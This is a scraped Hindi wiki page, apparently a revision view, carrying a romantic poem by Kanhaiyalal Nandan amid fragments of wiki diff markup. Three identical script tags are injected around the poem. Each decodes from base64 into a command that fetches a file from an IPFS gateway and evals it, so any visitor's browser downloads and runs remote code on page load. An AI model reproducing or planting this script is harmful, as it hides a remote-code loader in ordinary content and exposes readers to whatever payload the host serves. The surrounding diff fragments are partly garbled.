|
|
पंक्ति 60: |
पंक्ति 60: |
| | | |
| | | |
− | {{संदर्भ ग्रंथ}}
| + | <br /> |
− | ==टीका टिप्पणी और संदर्भ==
| + | |
− | <references/> | |
− | ==बाहरी कड़ियाँ==
| |
| ==संबंधित लेख== | | ==संबंधित लेख== |
| {{समकालीन कवि}} | | {{समकालीन कवि}} |
12:02, 23 अगस्त 2011 का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
कन्हैयालाल नंदन की रचनाएँ
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
एक नाम अधरों पर आया,
अंग-अंग चंदन वन हो गया।
बोल है कि वेद की ऋचायें
सांसों में सूरज उग आयें
आखों में ऋतुपति के छंद तैरने लगे
मन सारा नील गगन हो गया।
गंध गुंथी बाहों का घेरा
जैसे मधुमास का सवेरा
फूलों की भाषा में देह बोलने लगी
पूजा का एक जतन हो गया।
पानी पर खीचकर लकीरें
काट नहीं सकते जंजीरें
आसपास अजनबी अधेरों के डेरे हैं
अग्निबिंदु और सघन हो गया।
एक नाम अधरों पर आया,
अंग-अंग चंदन वन हो गया।
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख